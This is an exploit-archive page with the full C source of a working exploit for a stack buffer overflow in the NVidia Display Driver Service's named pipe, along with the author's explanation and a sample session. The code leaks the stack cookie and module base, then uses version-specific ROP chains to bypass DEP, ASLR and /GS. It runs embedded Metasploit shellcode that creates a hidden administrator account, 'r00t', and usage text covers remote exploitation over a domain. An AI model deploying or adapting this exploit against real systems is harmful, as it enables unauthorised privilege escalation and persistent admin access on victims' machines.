[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : NVidia Display Driver Service (Nsvr) Exploit
# Published : 2013-01-18
# Author :
# Previous Title : CoolPlayer+ Portable 2.19.2 Buffer Overflow ASLR Bypass (Large Shellcode)
# Next Title : FormatFactory v3.0.1 Profile File Handling Buffer Overflow


/*

NVidia Display Driver Service (Nsvr) Exploit - Christmas 2012
- Bypass DEP + ASLR + /GS + CoE
=============================================================
(@peterwintrsmith)

 ** Initial release 25/12/12
 ** Update 25/12/12 - Target for 30 Aug 2012 nvvsvc.exe Build - thanks
      @seanderegge!

Hey all!

Here is an interesting exploit for a stack buffer overflow in the NVidia
Display Driver Service. The service listens on a named pipe (pipensvr)
which has a NULL DACL configured, which should mean that any logged on user
or remote user in a domain context (Windows firewall/file sharing
permitting) should be able to exploit this vulnerability.

The buffer overflow occurs as a result of a bad memmove operation, with the
stack layout effectively looking like this:

[locals]
[received-data]
[response-buf]
[stack cookie]
[return address]
[arg space]
[etc]

The memmove copies data from the received-data buffer into the response-buf
buffer, unchecked. It is possible to control the offset from which the copy
starts in the received-data buffer by embedding a variable length string -
which forms part of the protocol message being crafted - as well as the
number of bytes copied into the response buffer.

The amount of data sent back over the named pipe is related to the number
of bytes copied rather than the maximum number of bytes that the buffer is
able to safely contain, so it is possible to leak stack data by copying
from the end of the received-data buffer, through the response-buf buffer
(which is zeroed first time round, and second time round contains whatever
was in it beforehand), right to the end of the stack frame (including stack
cookie and return address).

As the entire block of data copied is sent back, the stack cookie and
nvvsvc.exe base can be determined using the aforementioned process. The
stack is then trashed, but the function servicing pipe messages won't
return until the final message has been received, so it doesn't matter too
much.

It is then possible to exploit the bug by sending two further packets of
data: One containing the leaked stack cookie and a ROP chain dynamically
generated using offsets from the leaked nvvsvc.exe base (which simply fills
the response-buf buffer when this data is echoed back) and a second packet
which contains enough data to trigger an overwrite if data is copied from
the start of the received-data buffer into the response-buf (including the
data we primed the latter to contain - stack cookie and ROP chain).

Allowing the function to then return leads to execution of our ROP chain,
and our strategically placed Metasploit net user /add shellcode! We get
continuation of execution for free because the process spins up a thread
to handle each new connection, and there are no deadlocks etc.

I've included two ROP chains, one which works against the nvvsvc.exe
running by default on my Win7/x64 Dell XPS 15/ NVidia GT540M with drivers
from the Dell site, and one which works against the latest version of the
drivers for the same card, from:
http://www.geforce.co.uk/hardware/desktop-gpus/geforce-gt-540m
http://www.geforce.co.uk/drivers/results/54709

Hope you find this interesting - it's a fun bug to play with!

- Sample Session - 


C:UsersPeterDesktopNVDelMe1>net localgroup administrators
Alias name     administrators
Comment        Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------
Administrator
Peter
The command completed successfully.


C:UsersPeterDesktopNVDelMe1>nvvsvc_expl.exe 127.0.0.1
  ** Nvvsvc.exe Nsvr Pipe Exploit (Local/Domain) **
                 [@peterwintrsmith]
 - Win7 x64 DEP + ASLR + GS Bypass - Christmas 2012 -

        Action 1 of 9:  - CONNECT

        Action 2 of 9:  - CLIENT => SERVER
                Written 16416 (0x4020) characters to pipe

        Action 3 of 9:   - SERVER => CLIENT
                Read 16504 (0x4078) characters from pipe

        Action 4 of 9: Building exploit ...
                 => Stack cookie 0xe2e2893340d4:
                 => nvvsvc.exe base 0x13fb90000:

        Action 5 of 9:  - CLIENT => SERVER
                Written 16416 (0x4020) characters to pipe

        Action 6 of 9:   - SERVER => CLIENT
                Read 16384 (0x4000) characters from pipe

        Action 7 of 9:  - CLIENT => SERVER
                Written 16416 (0x4020) characters to pipe

        Action 8 of 9:   - SERVER => CLIENT
                Read 16896 (0x4200) characters from pipe

        Action 9 of 9:  - DISCONNECT

C:UsersPeterDesktopNVDelMe1>net localgroup administrators
Alias name     administrators
Comment        Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------
Administrator
Peter
r00t
The command completed successfully.


C:UsersPeterDesktopNVDelMe1>

*/

#include <stdio.h>
#include <Windows.h>

enum EProtocolAction
{
	ProtocolAction_Connect = 0,
	ProtocolAction_Receive,
	ProtocolAction_Send,
	ProtocolAction_Disconnect,
	ProtocolAction_ReadCookie,
};

typedef struct {
	EProtocolAction Action;
	PBYTE Buf;
	DWORD Length;
} ProtocolMessage;

const int GENERIC_BUF_LENGTH = 0x10000;

#define WriteByte(val)	{buf[offs] = val; offs += 1;}
#define WriteWord(val)	{*(WORD *)(buf + offs) = val; offs += 2;}
#define WriteDword(val)	{*(DWORD *)(buf + offs) = val; offs += 4;}
#define WriteBytes(val, len) {memcpy(buf + offs, val, len); offs += len;}
#define BufRemaining()	(sizeof(buf) - offs)

DWORD WritePipe(HANDLE hPipe, void *pBuffer, DWORD cbBuffer)
{
	DWORD dwWritten = 0;
	
	if(WriteFile(hPipe, pBuffer, cbBuffer, &dwWritten, NULL))
		return dwWritten;
	
	return 0;
}

DWORD ReadPipe(HANDLE hPipe, void *pBuffer, DWORD cbBuffer, BOOL bTimeout = FALSE)
{
	DWORD dwRead = 0, dwAvailable = 0;

	if(bTimeout)
	{
		for(DWORD i=0; i < 30; i++)
		{
			if(!PeekNamedPipe(hPipe, NULL, NULL, NULL, &dwAvailable, NULL))
				goto Cleanup;

			if(dwAvailable)
				break;

			Sleep(100);
		}

		if(!dwAvailable)
			goto Cleanup;
	}

	if(!ReadFile(hPipe, pBuffer, cbBuffer, &dwRead, NULL))
		goto Cleanup;

Cleanup:
	return dwRead;
}

HANDLE EstablishPipeConnection(char *pszPipe)
{
	HANDLE hPipe = CreateFileA(
			pszPipe,
			GENERIC_READ | GENERIC_WRITE,
			0,
			NULL,
			OPEN_EXISTING,
			0,
			NULL
		);

	if(hPipe == INVALID_HANDLE_VALUE)
	{
		return NULL;
	}

	return hPipe;
}

BYTE *BuildMalicious_LeakStack()
{
	static BYTE buf[0x4020] = {0};
	UINT offs = 0;

	WriteWord(0x52);
	
	for(UINT i=0; i<0x2000; i++)
		WriteWord(0x41);

	WriteWord(0);

	WriteDword(0);
	WriteDword(0x4078);
	
	WriteDword(0x41414141);
	WriteDword(0x41414141);
	WriteDword(0x41414141);
	WriteDword(0x41414141);
	WriteDword(0x41414141);
	
	return buf;
}

BYTE *BuildMalicious_FillBuf()
{
	static BYTE buf[0x4020] = {0};
	UINT offs = 0;
	
	WriteWord(0x52);
	WriteWord(0); // string

	WriteDword(0);
	WriteDword(0x4000);
	
	while(BufRemaining())
		WriteDword(0x43434343);

	return buf;
}

BYTE *BuildMalicious_OverwriteStack()
{
	static BYTE buf[0x4020] = {0};
	UINT offs = 0;

	WriteWord(0x52);
	WriteWord(0); // string

	WriteDword(0);
	WriteDword(0x4340); // enough to copy shellcode too
	
	while(BufRemaining())
		WriteDword(0x42424242);

	return buf;
}

int main(int argc, char* argv[])
{
	DWORD dwReturnCode = 1, dwBytesInOut = 0;
	HANDLE hPipe = NULL;
	static BYTE rgReadBuf[GENERIC_BUF_LENGTH] = {0};
	
	printf(
			"  ** Nvvsvc.exe Nsvr Pipe Exploit (Local/Domain) **n"
			"                 [@peterwintrsmith]n"
			" - Win7 x64 DEP + ASLR + GS Bypass - Christmas 2012 -n"
		);

	if(argc < 2)
	{
		printf("tUsage: %s <ip>|localnn", argv[0]);

		printf(
				" !! If exploiting remotely, create a session with the target using your domain credentials !!n"
				"tCommand: net use \\target.ip\ipc$ /u:domain\user passwordn"
			);

		goto Cleanup;
	}

	memset(rgReadBuf, 0, sizeof(rgReadBuf));

	ProtocolMessage rgConvoMsg[] = {
		{ProtocolAction_Connect, NULL, 0},
		{ProtocolAction_Send, BuildMalicious_LeakStack(), 0x4020},
		{ProtocolAction_Receive, {0}, 0x4200},
		{ProtocolAction_ReadCookie, {0}, 0},
		{ProtocolAction_Send, BuildMalicious_FillBuf(), 0x4020},
		{ProtocolAction_Receive, {0}, 0x4000},
		{ProtocolAction_Send, BuildMalicious_OverwriteStack(), 0x4020},
		{ProtocolAction_Receive, {0}, 0x4200},
		{ProtocolAction_Disconnect, NULL, 0},
	};

	DWORD dwNumberOfMessages = sizeof(rgConvoMsg) / sizeof(ProtocolMessage), i = 0;
	BOOL bTryAgain = FALSE;
	char szPipe[256] = {0};

	if(stricmp(argv[1], "local") == 0)
		strcpy(szPipe, "\\.\pipe\nvsr");
	else
		sprintf(szPipe, "\\%s\pipe\nvsr", argv[1]);

	while(i < dwNumberOfMessages)
	{
		printf("ntAction %u of %u: ", i + 1, dwNumberOfMessages);

		switch(rgConvoMsg[i].Action)
		{
		case ProtocolAction_Connect:
			printf(" - CONNECTn");

			hPipe = EstablishPipeConnection(szPipe);
			if(!hPipe)
			{
				printf("!! Unable to create named pipe (GetLastError() = %u [0x%x])n", GetLastError(), GetLastError());
				goto Cleanup;
			}

			break;
		case ProtocolAction_Disconnect:
			printf(" - DISCONNECTn");

			CloseHandle(hPipe);
			hPipe = NULL;

			break;
		case ProtocolAction_Send:
			printf(" - CLIENT => SERVERn");

			if(!(dwBytesInOut = WritePipe(hPipe, rgConvoMsg[i].Buf, rgConvoMsg[i].Length)))
			{
				printf("!! Error writing to pipen");
				goto Cleanup;
			}
	
			printf("ttWritten %u (0x%x) characters to pipen", dwBytesInOut, dwBytesInOut);

			break;
		case ProtocolAction_Receive:
			printf("t - SERVER => CLIENTn");

			if(!(dwBytesInOut = ReadPipe(hPipe, rgReadBuf, rgConvoMsg[i].Length, FALSE)))
			{
				printf("!! Error reading from pipe (at least, no data on pipe)n");
				goto Cleanup;
			}
	
			printf("ttRead %u (0x%x) characters from pipen", dwBytesInOut, dwBytesInOut);

			break;
		case ProtocolAction_ReadCookie:

			// x64 Metasploit cmd/exec:
			//     "net user r00t r00t00r! /add & net localgroup administrators /add"
			//     exitfunc=thread
			char pb_NetAdd_Admin[] = ""
				"xfcx48x83xe4xf0xe8xc0x00x00x00x41x51x41x50x52"
				"x51x56x48x31xd2x65x48x8bx52x60x48x8bx52x18x48"
				"x8bx52x20x48x8bx72x50x48x0fxb7x4ax4ax4dx31xc9"
				"x48x31xc0xacx3cx61x7cx02x2cx20x41xc1xc9x0dx41"
				"x01xc1xe2xedx52x41x51x48x8bx52x20x8bx42x3cx48"
				"x01xd0x8bx80x88x00x00x00x48x85xc0x74x67x48x01"
				"xd0x50x8bx48x18x44x8bx40x20x49x01xd0xe3x56x48"
				"xffxc9x41x8bx34x88x48x01xd6x4dx31xc9x48x31xc0"
				"xacx41xc1xc9x0dx41x01xc1x38xe0x75xf1x4cx03x4c"
				"x24x08x45x39xd1x75xd8x58x44x8bx40x24x49x01xd0"
				"x66x41x8bx0cx48x44x8bx40x1cx49x01xd0x41x8bx04"
				"x88x48x01xd0x41x58x41x58x5ex59x5ax41x58x41x59"
				"x41x5ax48x83xecx20x41x52xffxe0x58x41x59x5ax48"
				"x8bx12xe9x57xffxffxffx5dx48xbax01x00x00x00x00"
				"x00x00x00x48x8dx8dx01x01x00x00x41xbax31x8bx6f"
				"x87xffxd5xbbxe0x1dx2ax0ax41xbaxa6x95xbdx9dxff"
				"xd5x48x83xc4x28x3cx06x7cx0ax80xfbxe0x75x05xbb"
				"x47x13x72x6fx6ax00x59x41x89xdaxffxd5x63x6dx64"
				"x20x2fx63x20x6ex65x74x20x75x73x65x72x20x72x30"
				"x30x74x20x72x30x30x74x30x30x72x21x20x2fx61x64"
				"x64x20x26x20x6ex65x74x20x6cx6fx63x61x6cx67x72"
				"x6fx75x70x20x61x64x6dx69x6ex69x73x74x72x61x74"
				"x6fx72x73x20x72x30x30x74x20x2fx61x64x64x00";

			printf("Building exploit ...n");
			unsigned __int64 uiStackCookie = *(unsigned __int64 *)(rgReadBuf + 0x4034);
			printf("tt => Stack cookie 0x%x%x:n", (DWORD)(uiStackCookie >> 32), (DWORD)uiStackCookie);

			memcpy(rgConvoMsg[4].Buf + 0xc + 0xc, &uiStackCookie, 8);
			
			unsigned __int64 uiRetnAddress = *(unsigned __int64 *)(rgReadBuf + 0x4034 + 8), uiBase = 0, *pRopChain = NULL;

			// Perform some limited fingerprinting (my default install version, vs latest at time of testing)
			switch(uiRetnAddress & 0xfff)
			{
			case 0x640: // nvvsvc.exe - 03 Nov 2011 - 1,640,768 bytes - md5=3947ad5d03e6abcce037801162fdb90d
				{
					uiBase = uiRetnAddress - 0x4640;
					printf("tt => nvvsvc.exe base 0x%x%x:n", (DWORD)(uiBase >> 32), (DWORD)uiBase);

					pRopChain = (unsigned __int64 *)(rgConvoMsg[4].Buf + 0xc + 0xc + (7*8));

					// Param 1: lpAddress [r11 (near rsp) into rcx]
					pRopChain[0] = uiBase + 0x19e6e; // nvvsvc.exe+0x19e6e: mov rax, r11; retn
					pRopChain[1] = uiBase + 0xa6d64; // nvvsvc.exe+0xa6d64: mov rcx, rax; mov eax, [rcx+4]; add rsp, 28h; retn
					pRopChain[2] = 0; // Padding
					pRopChain[3] = 0; // ...
					pRopChain[4] = 0; // ...
					pRopChain[5] = 0; // ...
					pRopChain[6] = 0; // ...
					pRopChain[7] = uiBase + 0x7773;  // nvvsvc.exe+0x7773: pop rax; retn
					pRopChain[8] = 0x1;   // Param 2: dwSize [rdx = 1 (whole page)]
					pRopChain[9] = uiBase + 0xa8653; // nvvsvc.exe+0xa8653: mov rdx, rax; mov rax, rdx; add rsp, 28h; retn
					pRopChain[10] = 0; // Padding
					pRopChain[11] = 0; // ...
					pRopChain[12] = 0; // ...
					pRopChain[13] = 0; // ...
					pRopChain[14] = 0; // ...
					pRopChain[15] = uiBase + 0x7772;  // nvvsvc.exe+0x7772: pop r8; retn
					pRopChain[16] = 0x40;  // Param 3: flNewProtect [r8 = 0x40 (PAGE_EXECUTE_READWRITE)]
					pRopChain[17] = uiBase + 0x7773;  // nvvsvc.exe+0x7773: pop rax; retn
					// Param 4: lpflOldProtect [r9 - already points at writable location]
					pRopChain[18] = uiBase + 0xfe5e0; // nvvsvc.exe+0xfe5e0: IAT entry &VirtualProtect
					pRopChain[19] = uiBase + 0x5d60;  // nvvsvc.exe+0x5d60: mov rax, [rax]; retn
					pRopChain[20] = uiBase + 0x91a85; // nvvsvc.exe+0x91a85: jmp rax
					pRopChain[21] = uiBase + 0xe6251; // nvvsvc.exe+0xe6251: jmp rsp (return address from VirtualProtect)

					memcpy(pRopChain + 22, pb_NetAdd_Admin, sizeof(pb_NetAdd_Admin));
				}
				break;
			case 0x9f1: // nvvsvc.exe - 30 Aug 2012 - 891,240 bytes - md5=43f91595049de14c4b61d1e76436164f
				{
					uiBase = uiRetnAddress - 0x39f1;
					printf("tt => nvvsvc.exe base 0x%x%x:n", (DWORD)(uiBase >> 32), (DWORD)uiBase);

					pRopChain = (unsigned __int64 *)(rgConvoMsg[4].Buf + 0xc + 0xc + (7*8));

					// Param 1: lpAddress [r11 (near rsp) into rcx]
					pRopChain[0] = uiBase + 0x15d36; // nvvsvc.exe+0x15d36: mov rax, r11; retn
					pRopChain[1] = uiBase + 0x5493c; // nvvsvc.exe+0x5493c: mov rcx, rax; mov eax, [rcx+4]; add rsp, 28h; retn
					pRopChain[2] = 0; // Padding ...
					pRopChain[3] = 0; // ...
					pRopChain[4] = 0; // ...
					pRopChain[5] = 0; // ...
					pRopChain[6] = 0; // ...
					pRopChain[7] = uiBase + 0xd202;  // nvvsvc.exe+0xd202: pop rax; retn
					pRopChain[8] = 0x1;              // Param 2: dwSize [rdx = 1 (whole page)]
					pRopChain[9] = uiBase + 0x55dbf; // nvvsvc.exe+0x55dbf: mov rdx, rax; mov rax, rdx; add rsp, 28h; retn
					pRopChain[10] = 0; // Padding ...
					pRopChain[11] = 0; // ...
					pRopChain[12] = 0; // ...
					pRopChain[13] = 0; // ...
					pRopChain[14] = 0; // ...
					// Param 3: flNewProtect [r8 = 0x40 (PAGE_EXECUTE_READWRITE)]
					pRopChain[15] = uiBase + 0xd202;  // nvvsvc.exe+0xd202: pop rax; retn
					pRopChain[16] = 0x40;             // PAGE_EXECUTE_READWRITE
					pRopChain[17] = uiBase + 0x8b92;  // nvvsvc.exe+0x55dbf: mov r8d, eax; mov eax, r8d; add rsp, 28h; retn
					pRopChain[18] = 0; // Padding ...
					pRopChain[19] = 0; // ...
					pRopChain[20] = 0; // ...
					pRopChain[21] = 0; // ...
					pRopChain[22] = 0; // ...
					// Param 4: lpflOldProtect [r9 - already points at writable location]
					pRopChain[23] = uiBase + 0xd202;  // nvvsvc.exe+0xd202: pop rax; retn
					pRopChain[24] = uiBase + 0x91308; // IAT entry &VirtualProtect - 0x130
					pRopChain[25] = uiBase + 0x82989; // nvvsvc.exe+0x82989: mov rax, [rax+130h]; add rsp, 28h; retn
					pRopChain[26] = 0; // Padding ...
					pRopChain[27] = 0; // ...
					pRopChain[28] = 0; // ...
					pRopChain[29] = 0; // ...
					pRopChain[30] = 0; // ...
					pRopChain[31] = uiBase + 0x44ba6; // nvvsvc.exe+0x44ba6: jmp eax
					pRopChain[32] = uiBase + 0x77c59; // nvvsvc.exe+0x77c59: jmp esp

					memcpy(pRopChain + 33, pb_NetAdd_Admin, sizeof(pb_NetAdd_Admin));
				}
				break;
			case 0xa11: // nvvsvc.exe - 01 Dec 2012 - 890,216 md5=3341d2c91989bc87c3c0baa97c27253b
				{
					uiBase = uiRetnAddress - 0x3a11;
					printf("tt => nvvsvc.exe base 0x%x%x:n", (DWORD)(uiBase >> 32), (DWORD)uiBase);

					pRopChain = (unsigned __int64 *)(rgConvoMsg[4].Buf + 0xc + 0xc + (7*8));

					// Param 1: lpAddress [r11 (near rsp) into rcx]
					pRopChain[0] = uiBase + 0x15b52;    // nvvsvc.exe+0x15b52: mov rax, r11; retn
					pRopChain[1] = uiBase + 0x54d4c;    // nvvsvc.exe+0x54d4c: mov rcx, rax; mov eax, [rcx+4]; add rsp, 28h; retn
					pRopChain[2] = 0;  // Padding ...
					pRopChain[3] = 0;  // ...
					pRopChain[4] = 0;  // ...
					pRopChain[5] = 0;  // ...
					pRopChain[6] = 0;  // ...
					pRopChain[7] = uiBase + 0x8d7aa;    // nvvsvc.exe+0x8d7aa: pop rdx; add al, 0; pop rbp; retn
					pRopChain[8] = 0x1;                 // Param 2: dwSize [rdx = 1 (whole page)]
					pRopChain[9] = 0;                   // Padding ...
					// Param 3: flNewProtect [r8 = 0x40 (PAGE_EXECUTE_READWRITE)]
					pRopChain[10] = uiBase + 0xd33a;    // nvvsvc.exe+0xd33a: pop rax; retn
					pRopChain[11] = 0x40;               // PAGE_EXECUTE_READWRITE
					pRopChain[12] = uiBase + 0x8d26;    // nvvsvc.exe+0x8d26: mov r8d, eax; mov eax, r8d; add rsp, 28h; retn
					pRopChain[13] = 0; // Padding ...
					pRopChain[14] = 0; // ...
					pRopChain[15] = 0; // ...
					pRopChain[16] = 0; // ...
					pRopChain[17] = 0; // ...
					// Param 4: lpflOldProtect [r9 - already points at writable location]
					pRopChain[18] = uiBase + 0xd33a;    // nvvsvc.exe+0xd33a: pop rax; retn
					pRopChain[19] = uiBase + 0x91310;   // IAT entry &VirtualProtect - 0x128
					pRopChain[20] = uiBase + 0x82851;   // nvvsvc.exe+0x82851: mov rax, [rax+128h]; add rsp, 28h; retn
					pRopChain[21] = 0; // Padding ...
					pRopChain[22] = 0; // ...
					pRopChain[23] = 0; // ...
					pRopChain[24] = 0; // ...
					pRopChain[25] = 0; // ...
					pRopChain[26] = uiBase + 0x44fb6;   // nvvsvc.exe+0x44fb6: jmp rax
					pRopChain[27] = uiBase + 0x8a0dc;   // nvvsvc.exe+0x8a0dc: push rsp; retn
			
					memcpy(pRopChain + 28, pb_NetAdd_Admin, sizeof(pb_NetAdd_Admin));
				}
				break;
			}
			
			break;
		}

		i++;
	}
	
	dwReturnCode = 0;
Cleanup:
	if(hPipe)
		CloseHandle(hPipe);
	
	return dwReturnCode;
}